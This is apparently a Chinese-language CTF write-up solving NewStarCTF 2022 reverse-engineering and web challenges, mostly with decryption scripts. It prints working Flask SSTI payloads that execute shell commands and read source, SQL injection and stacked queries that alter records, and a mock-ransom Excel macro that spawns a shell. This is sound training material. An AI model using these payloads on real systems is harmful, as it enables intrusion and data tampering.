          0xF1, 0x72, 0x23, 0x5F, 0x8E, 0x62, 0xF2, 0xD8, 0x94, 0xFC,

          0x4F, 0xAE, 0x82, 0xAF, 0x0A, 0x34, 0x44, 0x1B, 0x1E, 0x90,

          0x52, 0xE9],

         [0xF0, 0x1C, 0xA2, 0x92, 0xD3, 0x69, 0x97, 0xA9, 0x6E, 0x45,

          0xC2, 0x73, 0x14, 0x2A, 0x55, 0x49, 0xD3, 0xD7, 0x87, 0xCB,

          0x5C, 0xEB, 0x8B, 0x38, 0x6D, 0xD7, 0xED, 0xEE, 0xE3, 0x0D,

          0x07, 0x0C],

         [0x05, 0xAF, 0xB7, 0xE7, 0x94, 0x0A, 0x68, 0xA8, 0x75, 0xA2,

          0x8B, 0x74, 0x65, 0xBD, 0x8C, 0xE4, 0xE8, 0x6A, 0xF2, 0x9E,

          0x31, 0x48, 0x54, 0xA1, 0xCC, 0x36, 0x9A, 0x7D, 0x28, 0x1E,

          0x24, 0xF7],

         [0x92, 0xCE, 0x38, 0x64, 0x4D, 0x67, 0x35, 0x5F, 0x18, 0xC7,

          0x9C, 0x75, 0x16, 0xD0, 0xCB, 0xD3, 0x99, 0x01, 0x9D, 0x85,

          0x6E, 0xD5, 0x1D, 0xEA, 0x4F, 0x01, 0x93, 0x58, 0x3D, 0xCB,

          0x91, 0x32],

         [0xDF, 0x51, 0xED, 0x91, 0x06, 0x68, 0x1E, 0x96, 0xEF, 0x3C,

          0xCD, 0x76, 0x77, 0x7B, 0x0A, 0x5E, 0x3E, 0x9C, 0x80, 0xB0,

          0x63, 0xC2, 0x76, 0xA3, 0x36, 0xE8, 0xE8, 0x97, 0x9A, 0xE4,

          0xEE, 0x6D],

         [0xC4, 0xC8, 0xEE, 0xE6, 0xF7, 0xC5, 0x33, 0x7D, 0x5A, 0x59,

          0xCE, 0x77, 0x18, 0x66, 0xD1, 0x55, 0x1F, 0xCB, 0xF3, 0xFF,

          0xE0, 0xBF, 0x5F, 0x0C, 0x79, 0xFB, 0x81, 0xBA, 0xCF, 0x21,

          0xC3, 0x90],

         [0x99, 0x6B, 0x23, 0x5B, 0xD8, 0x46, 0x84, 0xFC, 0x11, 0x96,

          0x87, 0x78, 0x79, 0x49, 0x28, 0x00, 0xF4, 0xEE, 0xDE, 0x52,

          0xD5, 0xBC, 0x78, 0x05, 0x68, 0x1A, 0xEE, 0xE9, 0xB4, 0x62,

          0x40, 0x3B],

         [0x66, 0xAA, 0x34, 0xC8, 0xA1, 0xC3, 0xE1, 0xF3, 0xD4, 0xBB,

          0xC8, 0x79, 0x8A, 0x7C, 0x97, 0x2F, 0xE5, 0xE5, 0xB9, 0x99,

          0x22, 0x29, 0x41, 0x4E, 0x3B, 0x05, 0xA7, 0x14, 0x29, 0x8F,

          0xCD, 0xE6],

         [0x43, 0x5D, 0x09, 0xA5, 0xBA, 0xD4, 0xAA, 0xBA, 0x7B, 0xE0,

          0xF9, 0x7A, 0x7B, 0x87, 0xC6, 0xDA, 0xBA, 0xF0, 0xDC, 0xA4,

          0x67, 0xA6, 0xCA, 0x77, 0x42, 0xCC, 0x9C, 0x63, 0x56, 0x78,

          0x8A, 0x61],  # z

         [0xF8, 0x94, 0xBA, 0xCA, 0xDB, 0xE1, 0x6F, 0x41, 0x06, 0x5D,

          0x4A, 0x7B, 0x8C, 0x72, 0x0D, 0xC1, 0x7B, 0x0F, 0xEF, 0x53,

          0x74, 0x43, 0x73, 0x80, 0x65, 0x4F, 0x85, 0xF6, 0x1B, 0x15,

          0x5F, 0xE4],

         [0xDA, 0x66, 0x30, 0x9C, 0x55, 0x5F, 0xAD, 0xD7, 0x90, 0x3F,

          0x24, 0x7D, 0xCE, 0x98, 0x23, 0x0B, 0x61, 0xF9, 0xE5, 0x4D,

          0xE6, 0xCD, 0x45, 0xB2, 0xA7, 0xB9, 0xCB, 0x20, 0xB5, 0x13,

          0xE9, 0xCA],

         [0x87, 0x09, 0xA5, 0x29, 0x6E, 0xA0, 0x16, 0x2E, 0xE7, 0x14,

          0x55, 0x7E, 0x8F, 0x23, 0x22, 0x36, 0x06, 0x14, 0xC8, 0xB8,

          0xDB, 0x1A, 0x9E, 0x4B, 0x2E, 0xA0, 0x60, 0xDF, 0xF2, 0xEC,

          0x46, 0x25],

         [0x34, 0xB8, 0xFE, 0x96, 0xC7, 0xF5, 0x23, 0xCD, 0x2A, 0xE9,

          0x7E, 0x27, 0xA8, 0x76, 0xA1, 0x05, 0xCF, 0xDB, 0xA3, 0x0F,

          0xD0, 0x2F, 0x8F, 0xBC, 0x69, 0xEB, 0x11, 0xAA, 0x3F, 0xB1,

          0x73, 0x00],

         [0x8F, 0x01, 0x3D, 0x01, 0x16, 0x58, 0xCE, 0x66, 0xFF, 0x4C,

          0xBD, 0x26, 0x87, 0x8B, 0x9A, 0x4E, 0xEE, 0x2C, 0xF0, 0xC0,

          0xD3, 0x32, 0xA6, 0x53, 0xE6, 0x58, 0x78, 0x87, 0x8A, 0xB4,

          0x5E, 0x9D],

         ]

for i in range(len(test)):

    print(test[i] * 32)

flag = [0] * 32

for i in range(len(test)):

    for k in range(len(enc)):

        if enc[k] == test_[i][k]:

            flag[k] = ord(test[i])

for i in range(len(flag)):

    print(chr(flag[i]), end='')  # flag{umm_I_ an't_calc_1t_@t_all}

flag{umm_I_ an't_calc_1t_@t_all} # 应该是数据问题，检查了一下，缺失字符

猜测 flag{umm_I_can't_calc_1t_@t_all} 正确！！！

【这里应该是patch 数据时，未断点正确造成，数据轻微有误！！！】

funnyOTL

main 函数

#include <stdio.h>

#include <stdlib.h>

#include <time.h>

int main() {

    srand(int(time(0))&0xF0000000); // 每次运行main程序的时候产生的随机值都一样

    for (int i = 0; i < 24; i++) {

        printf("%d ", rand() % 24);

    }

    printf("\n");

    return 0;

}

// 每次生成序列相同！

// rand()*2%24

//4 6 4 2 6 10 10 18 4 8 18 0 4 10 18 2 18 18 18 16 8 22 22 4

//发现自己的随机序列不对，需要动态调试获得，程序生成的随机序列。

0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4

一些c++ 的语法函数知识。

# ~string(); 析构函数

# std::replace() 函数的语法

    std::replace(

        iterator start,

        iterator end,

        const T& old_value,

        const T& new_value);

参数：

iterator start, iterator end- 这些是指向容器中开始和结束位置的迭代器，我们必须在那里运行替换操作。

old_value- 是要搜索并替换为新值的值。

new_value- 要分配的值而不是 old_value。

(173条消息) Reverse_iterator的使用_一休求索的博客-CSDN博客

这是结合动态调试，获得的程序核心加密流程：

for i in range(0, 24, 2):

    posCur=i

    posLogMe=order[i//2]

    string_3[0] = enc[posCur]

    string_3[1] = enc[posCur + 1]

    string_4[0] = enc[posLogMe]

    string_4[1] = enc[posLogMe + 1]

    string_3[1] = ~(string_3[1]^posLogMe) &0xff

    string_3[0] = string_3[0]^posLogMe&0xff

    enc[posCur] = string_4[0]

    enc[posCur + 1] = string_4[1]

    enc[posLogMe+1] = string_3[1]

    enc[posLogMe] = string_3[0]

对以上分析出的程序流程，做逆处理即可：【这里静态分析也是很明了的】

# -*- coding: UTF-8 -*-

enc = [0x4C, 0xAB, 0x78, 0x49, 0x68, 0x9D, 0x51, 0x79, 0x75, 0x5F,

       0x7D, 0xC5, 0x63, 0x52, 0x4C, 0xB4, 0x4F, 0x7B, 0x67, 0x61,

       0x6F, 0x6E, 0x6B, 0x5F]

print('flag{'+'x'*18+'}')  # flag{123456789012345678}

order = [0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4]  # 动态调试获得

string_3 = [0] * 2

string_4 = [0] * 2

for i in range(22, -2, -2):

    posCur=i

    posLogMe=order[i//2]

    string_3[1]= enc[posLogMe + 1]

    string_3[0] =enc[posLogMe]

    string_4[0] = enc[posCur]

    string_4[1] = enc[posCur + 1]

    string_3[1] = (~(string_3[1])&0xff) ^ posLogMe # 这里的处理需要注意

    string_3[0] = string_3[0]^posLogMe&0xff

    enc[posLogMe] = string_4[0]

    enc[posLogMe + 1] = string_4[1]

    enc[posCur+1] = string_3[1]

    enc[posCur] = string_3[0]

for i in range(len(enc)):

    print(chr(enc[i]), end='')  # }LTS_wonk_u_w0n_LTO{galf

print()

print('}LTS_wonk_u_w0n_LTO{galf'[::-1])

flag{OTL_n0w_u_know_STL}

Web

BabySSTI_One

<body bgcolor=#E1FFFF><br><p><b>

<center>Welcome to NewStarCTF, Dear CTFer

</center></b></p><br><hr><br>

<center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>

?name=<script>alert(1)</script>

出现弹窗！

?name={{2*8}}

Welcome to NewStarCTF, Dear 16

# 命令执行 ls

?name=

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}

  {% if b.__class__ == {}.__class__ %}

    {% if 'eval' in b.keys() %}

      {{ b['eval']('__import__("os").popen("ls").read()') }}

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

Get Out!Hacker!

hint:  Flask SSTI is so easy to bypass waf

# 读源码payload

?name={% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__=='catch_warnings' %}

{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}

{% endif %}

{% endfor %}

# for i in ['a','1']

{{ i }}

# endfor

{% for i in ['a','1'] %}

{{ item }}

{% endfor %}

这两条是等效的，但是有个前提，必须在environment中配置line_statement_prefix

即

app.jinja_env.line_statement_prefix="#"

multiSQL

0x01 sql 注入测试

username=1' or 1=1 #

火华 11 201 212

username=1' order by 5 # 无回显

username=1' order by 4 # 有回显 说明四列

username=-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata

同学你在干嘛  有过滤

借助hacker 上工具，简单测试，发现 select union 等被过滤

username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #

无回显

注释符，大小写，双写关键字都无法绕过

通用绕过（编码）：

如URLEncode编码，ASCII,HEX,unicode编码绕过：

or1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #

cmd='-1\' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'

for i in range(len(cmd)):

    print('CHAR('+str(ord(cmd[i]))+')+',end='')

对绕过这些关键字，没啥思路。尝试堆叠注入！

0x02 尝试堆叠注入

# 尝试堆叠注入，发现可以

username=1';show databases;#

english

information_schema

mysql

performance_schema	

username=1';show tables;#

score

username=1';show columns from score;#

# 修改成绩

username=1';update score set listen=500 where username=火华--+

发现 update 被waf

username=1';CHAR(117)+CHAR(112)+CHAR(100)+CHAR(97)+CHAR(116)+CHAR(101) score set listen=500 where username=火华--+

无效

update过滤了

(173条消息) 详解MySQL数据库insert和update语句_wgcc的博客-CSDN博客_insert在数据库中是什么意思

发现 ，insert replace等 指令都可替代 update

username=1';insert into score values("火华",200,200,200);#

insert waf

username=1';replace into score values("火华",200,200,200);#

成功执行

但是，第一条数据不符合，需要排序，或者删除！！！

#低分删除即可：

username=1';delete from score where listen=11;#

成功后，查询分数得到flag

get flag

flag{Ju3t_use_mo2e_t2en_0ne_SQL}

Week4

Re

Hash

测试知道是 hash 算法是 sha1()。直接爆破，得到flag。

#encoding=utf-8

import hashlib

import itertools

text=['A2F17ED1C6A8BC31769CDF654DF4B8A937042CB6','0CA8A2EDB0C1D34A432A5A4464E0D6ABD847C831','C359D69F3F08BB920F2C3B51133205533462093E','CC5C3FE6E7356A26A134CFF5633349F597C40A9D','4AC4BB3F27F245BA9178651AA5CDEDCBB2862E2A','A01E33F4DCDB6BA1AE9F34A97CF8F6DEEEDF1A8D','D3AF70912A8C1B22CFDECE071BA36BC4662B58FA','9395EAB195D25B676D7D07075D3838A9AC19DF21','FDB43C5EF76ECDA0C1661D6D199B5BFAC1DB538A','DA8E9997A010BE78B20108CE79FEC1FB9C63D8DC','809DA627F1AD01D65864C376E3179B62D9D74261','8F61EE21AC7579626934E0FFB6A62B3D4A82EEC4','E2A954758FDB61F869998E9788B7B7E48480B832','B8E3349B97532B27AA62B8718B68240179158144']

# print(hashlib.sha1('fla'.encode()).hexdigest())

for i in range(len(text)):

    print(len(text[i]))

modle = list(itertools.product(

    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',

     'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',

     'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','{','}','_','!','@','|'], repeat=3))

i = -1

flag=''

for k in range(len(text)):

    while True:

        i += 1

        # print(modle[i])

        str = ''.join(modle[i])

        if hashlib.sha1(str.encode()).hexdigest() in text[k].lower():

            print('correct: ', str)

            # input()

            flag+=str

            break

        else:

            print('[-]:'+str)

    i=-1

print(flag)

flag{Easy_Hash_And_Y0u_Solve_1t_Quickly!!}

Exception

0x01 程序分析

(173条消息) 逆向程序分析：Windows的main()，启动函数分析_CodeBowl的博客-CSDN博客_windows编程的主函数

查看异常处理块！

;   __except(loc_4B18BC) // owned by 4B18A4

mov     esp, [ebp+ms_exc.old_esp]

mov     eax, [ebp+var_48]

xor     eax, 12345678h

mov     [ebp+var_48], eax

mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFF

# 触发异常后，将[ebp+var_48]^0x12345678

所以可以依据这个，直接生成出delta[] 数组，进行解密。

tmp=0x9E3779B9

while()

	delta+=tmp

	tmp=tmp^0x12345678&0xffffffff

【也可以动态调试获得，每组delta[]数据值】

0x02 解密

python 解密脚本

# encoding=utf-8

print('flag{'+'x' * 26+'}')

enc = [0xCE, 0x21, 0xE8, 0x88, 0x70, 0x9D, 0x00, 0x0B, 0x8F, 0xE6,

       0xB1, 0x91, 0x96, 0xEA, 0x31, 0x01, 0x7D, 0x9D, 0x20, 0xA3,

       0xFB, 0x7D, 0x18, 0xA9, 0xCA, 0xC5, 0x52, 0xC4, 0x53, 0x67,

       0x69, 0xA9]

enc1 = [0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753]

# sum=0

# tmp=0x9E3779B9

# for i in range(32):

#     sum+=tmp

#     tmp^=0x12345678

#     print(hex(sum&0xffffffff),end=',')

v9_enc=[0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627

    ,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256

    ,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D

    ,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC

    ,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0]

key = [1, 2, 3, 4]

print()

for k in range(0, 8, 2):

    v11 = enc1[k]

    v10 = enc1[k + 1]

    for i in range(32):

        v9=v9_enc[31-i]

        v10 -= (key[3] + (v11 >> 5)) ^ (v9 + v11) ^ (key[2] + 16 * v11)

        v10= v10&0xffffffff

        v11 -= (key[1] + (v10 >> 5)) ^ (v9 + v10) ^ (key[0] + 16 * v10)

        v11 = v11 & 0xffffffff

    enc1[k] = v11

    enc1[k + 1] = v10

for i in range(len(enc1)):

    print(hex(enc1[i]),end=',')

flag:

0x33433434,0x31463741,0x41443231,0x37454232,0x34463832,0x35433135,0x30443245,0x38353539,

cpp 解密脚本

#include <stdio.h>

#include <stdint.h>  

 uint32_t delta[]={0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627

    ,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256

    ,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D

    ,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC

    ,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0}; 

//加密函数

void encrypt (uint32_t* v, uint32_t* k,int round) {

    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */

								                  /* a key schedule constant */

    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */

    for (i=0; i < round; i++) {                       /* basic cycle start */

        sum = delta[i];

        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);

        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);

    }                                              /* end cycle */

    v[0]=v0; v[1]=v1;

}

//解密函数

void decrypt (uint32_t* v, uint32_t* k,int round) {

    uint32_t v0=v[0], v1=v[1], sum=0, i;  /* set up */

	                   /* a key schedule constant */

    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */

    for (i=0; i<round; i++) {                         /* basic cycle start */

    	sum = delta[round-1-i];

        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);

        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);

    }                                              /* end cycle */

    v[0]=v0; v[1]=v1;

}  

int main()

{  

	uint32_t v[] = { 0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753};

  	uint32_t k[]={1,2,3,4};

  	int n=sizeof(v)/sizeof(uint32_t);

  	int round=32;

    // v为要加密的数据是两个32位无符号整数

    // k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位

    printf("加密前原始数据：\n");

    for (int i=0;i<8;i++)

	{

		for (int j=0;j<4;j++)

		{

		printf("0x%x,",((v[i]>>j*8)&0xff));

		 }

	 } 

	 for (int i=0;i<n/2;i++)

	 {

	 	    decrypt(&v[i*2], k,round);

	 }

    printf("\n解密后的数据：\n");

    for (int i=0;i<8;i++)

	{

		for (int j=0;j<4;j++)

		{

		printf("%c",((v[i]>>j*8)&0xff));	  // 327a6c4304ad5938eaf0efb6cc3e53dc   flag{327a6c4304ad5938eaf0efb6cc3e53dc}

		 }

	 } 

	 	 for (int i=0;i<n/2;i++)

	 {

	 	     encrypt(&v[i*2], k ,round);

	 } 

    printf("\n加密后的数据：\n");

     for (int i=0;i<8;i++)

	{

		for (int j=0;j<4;j++)

		{

		printf("0x%x,",((v[i]>>j*8)&0xff));

		 }

	 }

    return 0;

}

flag{44C3A7F112DA2BE728F451C5E2D09558}

HelpMe

0x01 ps1 解析恢复xlsm

根据提示查阅到相关资料

(174条消息) 还原永恒之蓝下载器PS脚本混淆_FFE4的博客-CSDN博客

从ps1中截取下列数据

echo $(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAKxePWMA/31RT2+bMBS/8yksxAHUYCVI66RMm5TQdJq6LFXJdslycPGDeDU2wi9a0LTv3mdos2yHXZDfD//++UWoGnAompa9Z/HuRiBsCdlUlQPcxx8BU4+xsBDINiWy6Yxl0yyjzzzL5tksTBK+tV+NOnleAaU10sVJED1BT5Jf4Ge6efwBxFz2CLs9m10HXvVBGGkblq7FiWVvrllaABYAkl0k+hCZo9ZBZTsWR8pIOJHi9B17OacaSe11vLpK2C/vuhvnPd3dPZLn2OIfv+R3EC1Wxd8Ji94hNJxKHDuFPc+7vkVbd6I99HwBbi2MqEEOTH439POG47y2EggIV/kyHJF7IaUytc/xX+WXe15gP5/f3+XF2yCqlB7koqZvBR6+N32tKuQn7RqS973chfCnDb8lAtEfQMiF1v6xXRwOMiFtY2XKwbLzmX24vAPa6xn2GwNTSoHC3zjjfNsJ42gDza0yQi+1LZ/i0X7CphM2HvlnMDUeLn34jXKtdeCFvd+fkRad5tYgGGTpN6GPwM7WKfHt8Gi+ALX3+Tn9DYNn5mIx06oCAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

得到如下：【显然就是核心加密逻辑了】

$timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()

$key = New-Object Byte[] 16

Get-Random -Max 256 -SetSeed $timestamp >$null

for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}

$AES = New-Object System.Security.Cryptography.AesManaged

$AES.Key = $key

$AES.Mode = "ECB"

$AES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

$file = "$mypath\mygift.xlsm"

$bytes = [System.IO.File]::ReadAllBytes("$file")

$Encryptor = $AES.CreateEncryptor()

$encdata = $Encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)

$Encryptor.Dispose()

$AES.Dispose()

Set-Content -Value $encdata -Encoding Byte "$file.enc"

如上可以分析知道：

# AES 加密

# key 密钥随机生成

# ECB 模式

# 填充模式 PKCS7

# [byte](Get-Random -Max 256)

# Get-Random  获取一个随机数，或从集合中随机选择对象。

# powershell run

PS F:\> echo ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()

1664626941

PS F:\> $timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()

PS F:\> $key = New-Object Byte[] 16

PS F:\> Get-Random -Max 256 -SetSeed $timestamp >$null

PS F:\> for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}

PS F:\> echo $key

105

192

50

118

175

152

128

155

147

80

183

37

190

22

242

78

Get-Random (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

如上，key=[105,192,50,118,175,152,128,155,147,80,183,37,190,22,242,78]

AES 解密脚本

# encoding=utf-8

from Crypto.Cipher import AES

key = [105, 192, 50, 118, 175, 152, 128, 155, 147, 80, 183, 37, 190, 22, 242, 78]

key_b=bytes(key)

with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm.enc", 'rb') as f:

    chipher = f.read()

# iv = b'\x00' * 8

print(chipher)

aes = AES.new(key_b, AES.MODE_ECB)

data = aes.decrypt(chipher)

print(data)

# with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm",'wb') as f:

#     f.write(data)

0x02 Excel 宏处理

获得.xlsm后打开,发现总有弹窗！

Excel如何打开宏，Excel宏在哪里-百度经验 (baidu.com)

找到 excel 宏，发现有东西

Sub hack()

    MsgBox "You have to pay me a lot of money now!"

    Dim shell

    Dim talk

    Set talk = CreateObject("SAPI.SpVoice")

    talk.Rate = -3

    talk.Volume = 100

    talk.Speak "You have to pay me a lot of money now"

    Dim a, b, x, arr

    a = 20

    b = 22

    x = 21

    arr = Array(2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8, 22, 17, 4)

    Dim i

    For i = 1 To 32

    If Cells(1, i).Value = "*" Then Exit For

    Cells(2, arr(i - 1) + 1).Value = Cells(1, i).Value Xor x

    x = (a * x + b) Mod 255

    Cells(1, i).Value = "*"

    Next

    talk.Speak "I have hacked you"

    Set sh = CreateObject("Wscript.Shell")

    sh.Run ("%comspec% /k tree"), 3, True

    ActiveWorkbook.Close

    alertTime = Now + TimeValue("00:00:30")

    Application.OnTime alertTime, "hack"

End Sub

62	163	115	241	149	89	216	45	20	138	220	8	75	42	135	93	161	60	115	215	169	66	32	132	141	21	184	95	159	3	121	91

0x03 py解密

对上述流程进行解密：

# encoding=utf-8

a = 20

b = 22

x = 21

arr =[2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8,

            22, 17, 4]

enc=[62,163,115,241,149,89,216,45,20,138,220,8,75,42,135,93,161,60,115,215,169,66,32,132,141,21,184,95,159,3,121,91]

flag=''

for i in range(len(enc)):

    flag+=chr(enc[arr[i]]^x)

    x = (a * x + b)%255

print(flag)

flag{This_is_@_begin_about@hack}

哈德兔的口

0x01 程序分析

jadx 逆向APK 文件

存在 X86 架构 .so 文件，那么程序是可以动态调试的。

先导出.so 文件进行静态分析

cheak 将输入进行 rc4 加密，然后与密文比较。密钥可以动态调试，decode()获得。

0x02 动态调试 .so文件

/* loaded from: classes.dex */

public class MainActivity extends c {

    // rc4 加密 密钥key=Hikari#a0344y3y#19301211

    /* renamed from: s */

    String f3430s = "|%tJ|%pK~%t;6%}d}s\"K|vt;2)y92a=x";

    static {

        System.loadLibrary("check");

    }

    public static /* synthetic */ void J(MainActivity mainActivity, EditText editText, View view) {

        mainActivity.K(editText, view);

    }

    /* JADX INFO: Access modifiers changed from: private */

    public /* synthetic */ void K(EditText editText, View view) {

        String obj = editText.getText().toString();

        try { // android.util.Base64

            Class<?> cls = Class.forName(decode("}s+=4aur{>IA5w&F+v=G4>#F*\"ll")); // android.util.Base64

            obj = new String((byte[]) cls.getMethod(decode("+(#G*ad="), byte[].class, Integer.TYPE).invoke(cls, obj.getBytes(StandardCharsets.UTF_8), 0)); // encode

        } catch (ClassNotFoundException e2) {

            e2.printStackTrace();

        } catch (IllegalAccessException e3) {

            e = e3;

            e.printStackTrace();

        } catch (NoSuchMethodException e4) {

            e4.printStackTrace();

        } catch (InvocationTargetException e5) {

            e = e5;

            e.printStackTrace();

        }

        Toast.makeText(this, decode(check(obj, decode(this.f3430s)) ? "x)#;+)yJ3_|l" : "{>#b4b}94rqJ5(hdxvE;+(9;xv'K*('D4rpD+adG4=4l"), 1).show();

    }

    public native boolean check(String str, String str2);

    public native String decode(String str);

    /* JADX INFO: Access modifiers changed from: protected */

    @Override // androidx.fragment.app.e, androidx.activity.ComponentActivity, u.d, android.app.Activity

    public void onCreate(Bundle bundle) {

        super.onCreate(bundle);

        setContentView(R.layout.activity_main);

        final EditText editText = (EditText) findViewById(R.id.et_passwd);

        ((Button) findViewById(R.id.btn_check)).setOnClickListener(new View.OnClickListener() { // from class: o1.a

            @Override // android.view.View.OnClickListener

            public final void onClick(View view) {

                MainActivity.J(MainActivity.this, editText, view);

            }

        });

    }

}

通过动态调试知道，程序获取输入后。将输入base64编码，然后RC4加密。

这里有个细节，rc4 算法被魔改了两个点：

可以看到，rc4加密时，先对数据 xor 0xc6。然后加密完成时，又对结果xor 0x73 然后才得到密文。因为这是RC4 加密算法。那么我们用常规rc4 解密出的数据 xor 0x73 xor 0xc6，就可以得到明文。

【具体原理参见 RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)】

# encoding=utf-8

from Crypto.Cipher import ARC4

import binascii

import hashlib

import base64

key = 'Hikari#a0344y3y#19301211'  # 动态调试得到

chipher = [0xF0, 0x90, 0x10, 0xB7, 0xD1, 0x6E, 0x1A, 0xBC, 0xFB, 0x56,

           0xE6, 0x93, 0x0C, 0xC0, 0xB5, 0x06, 0x4D, 0xBD, 0xF1, 0x9C,

           0xD1, 0x9A, 0x3D, 0x03, 0xCB, 0x16, 0x42, 0x9A, 0x4B, 0x22,

           0x10, 0x9D, 0xC6, 0x70, 0x65, 0xAA, 0xC0, 0x3E, 0x54, 0x33,

           0xF8, 0x42, 0x2A, 0xE0, 0x52, 0x19, 0xB4, 0x6A, 0xA2, 0x97,

           0xEE, 0x2A, 0x9D, 0xC2, 0x32, 0xED]

cipher_text = bytes(chipher)

print(cipher_text)

cipher = ARC4.new(key.encode())

decrypt_text = cipher.decrypt(cipher_text)

# print(decrypt_text)

# decrypt_text = base64.b64decode(decrypt_text)

for i in range(len(decrypt_text)):

    print(chr(decrypt_text[i]^0xc6^0x73),end='') # rc4 魔改位置

print()

print(base64.b64decode('ZmxhZ3tRQVFfaG93MmRlY29kZSMjcGxzX3RlQWNoX3RlVmNoX21lISF9'))

# cipher = ARC4.new(key.encode())

# plain_text = cipher.encrypt(decrypt_text)

# print(plain_text)

flag{QAQ_how2decode##pls_teAch_teVch_me!!}

mpz

0x01 搜索相关知识

hint:

lumina may be helpful

六角射线 - IDA 光彩 (hex-rays.com)

[原创]IDA lumina C# 服务端实现-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

GitHub - synacktiv/lumina_server： IDA Lumina 功能的本地服务器

查阅到上面感觉有关的链接，可以知道lumina是一种快速库识别和识别的技术。

GitHub - naim94a/lumen: A private Lumina server for IDA Pro

这个可能就是题目说的lumina。但根据文章安装环境配置出错，，，

又尝试 mpz 相关搜索

c语言使用gmp库运算 - 简书 (jianshu.com)

(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客 (174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客

(174条消息) GMP库使用方法_play maker的博客-CSDN博客_gmp库

# ida 中发现的一些信息

GNU MP: Cannot reallocate memory (old_size=%lu new_size=%lu)

mpz(…)

mpz()返回一个设置为0的新mpz对象。

mpz(n) 从一个数值n返回一个新的mpz对象，如果n不是一个整数，它将被截断为一个整数。

mpz(s[, base=0]) 从一个由指定基数的数字组成的字符串s返回一个新的mpz对象。如果base=0，那么二进制、八进制或十六进制的Python字符串会被识别为前导0b、0o或0x字符。否则，字符串将被假定为十进制。基数的范围在2和62之间。

mpz_random(…)

